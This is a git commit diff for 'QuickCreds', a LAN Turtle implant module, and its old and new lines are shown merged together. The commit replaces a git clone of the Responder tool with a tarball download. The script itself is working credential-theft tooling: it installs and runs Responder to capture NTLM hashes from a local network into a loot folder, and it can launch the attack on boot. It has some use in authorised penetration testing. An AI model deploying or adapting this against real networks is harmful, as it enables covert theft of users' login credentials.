QuickCreds: Remove git dependency, pull Responder from release. (LT-12)

Instead of installing git and then git cloning the Responder repository, it is better to download the release to save storage space.
pull/33/head
Foxtrot 2019-07-12 18:20:47 +01:00
parent 67d125b8e9
commit 69638f52d7
1 changed files with 7 additions and 28 deletions

View File

@ -10,11 +10,6 @@ CONF=/tmp/QuickCreds.form
: ${DIALOG_ITEM_HELP=4} : ${DIALOG_ITEM_HELP=4}
: ${DIALOG_ESC=255} : ${DIALOG_ESC=255}
function configure { function configure {
# dialog --title "QuickCreds" --msgbox "\n\ # dialog --title "QuickCreds" --msgbox "\n\
# Dependencies will be installed. An Internet connection is required.\n\ # Dependencies will be installed. An Internet connection is required.\n\
@ -30,7 +25,6 @@ case $response in
255) exit ;; 255) exit ;;
esac esac
# Check to see if QuickCreds has already been configured # Check to see if QuickCreds has already been configured
if [[ -d /root/loot || -s /root/loot/responder.log ]]; if [[ -d /root/loot || -s /root/loot/responder.log ]];
then then
@ -51,11 +45,6 @@ The LAN Turtle is currently offline.\nPlease connect the LAN Turtle to the Inter
# Install dependencies # Install dependencies
opkg update | dialog --progressbox "Updating opkg" 14 72 opkg update | dialog --progressbox "Updating opkg" 14 72
if [[ ! $(opkg list-installed | grep git) ]];
then
opkg install git | dialog --progressbox "Installing dependency git" 14 72
fi
if [[ ! $(opkg list-installed | grep python-sqlite3) ]]; if [[ ! $(opkg list-installed | grep python-sqlite3) ]];
then then
opkg install python-sqlite3 | dialog --progressbox "Installing dependency python-sqlite3" 14 72 opkg install python-sqlite3 | dialog --progressbox "Installing dependency python-sqlite3" 14 72
@ -79,8 +68,11 @@ fi
if [[ ! -d /etc/turtle/Responder || ! -s /etc/turtle/Responder/Responder.py ]]; if [[ ! -d /etc/turtle/Responder || ! -s /etc/turtle/Responder/Responder.py ]];
then then
rm -rf /etc/turtle/Responder rm -rf /etc/turtle/Responder
git clone git://github.com/lgandx/responder /etc/turtle/Responder -q | dialog --progressbox "Installing dependency responder" 14 72 rm -rf /tmp/v2.3.3.5.tar.gz*
rm -rf /etc/turtle/Responder/.git wget --progress=dot https://github.com/lgandx/Responder/archive/v2.3.3.5.tar.gz -P /tmp 2>&1 | dialog --progressbox "Download dependency responder" 14 72
mkdir /etc/turtle/Responder
tar xzf /tmp/v2.3.3.5.tar.gz -C /etc/turtle/Responder 2>&1 | dialog --progressbox "Install dependency responder" 14 72
rm -rf /tmp/v2.3.3.5.tar.gz*
fi fi
# Setup loot directory and complete setup # Setup loot directory and complete setup
@ -92,11 +84,6 @@ Configuration complete. Creds will be saved to /root/loot\n\
Enable this module to have it start the attack on boot.\n" 9 72 Enable this module to have it start the attack on boot.\n" 9 72
} }
function start { function start {
# Stop on-off-on DHCP blink pattern script # Stop on-off-on DHCP blink pattern script
echo "Stopping DHCP Detect Blink Script" echo "Stopping DHCP Detect Blink Script"
@ -138,32 +125,24 @@ if [ $(grep -v '\$:' /etc/turtle/Responder/logs/*NTLM* 2>/dev/null) ];
finished finished
fi fi
fi fi
echo 255 > /sys/class/leds/turtle\:yellow\:system/brightness echo 255 > /sys/class/leds/lan-turtle\:orange\:system/brightness
/usr/bin/sleep 0.04 /usr/bin/sleep 0.04
echo 0 > /sys/class/leds/turtle\:yellow\:system/brightness echo 0 > /sys/class/leds/lan-turtle\:orange\:system/brightness
/usr/bin/sleep 0.04 /usr/bin/sleep 0.04
done done
} }
function finished { function finished {
echo 255 > /sys/class/leds/turtle\:yellow\:system/brightness echo 255 > /sys/class/leds/turtle\:yellow\:system/brightness
exit exit
} }
function stop { function stop {
kill $(ps | grep [R]esponder | awk {'print $1'}) kill $(ps | grep [R]esponder | awk {'print $1'})
/etc/init.d/dnsmasq start 1&> /dev/null /etc/init.d/dnsmasq start 1&> /dev/null
echo "QuickCreds Stopped" echo "QuickCreds Stopped"
} }
function status { function status {
if ps | grep -w -q [R]esponder.py; then echo "1"; else echo "0"; fi if ps | grep -w -q [R]esponder.py; then echo "1"; else echo "0"; fi
} }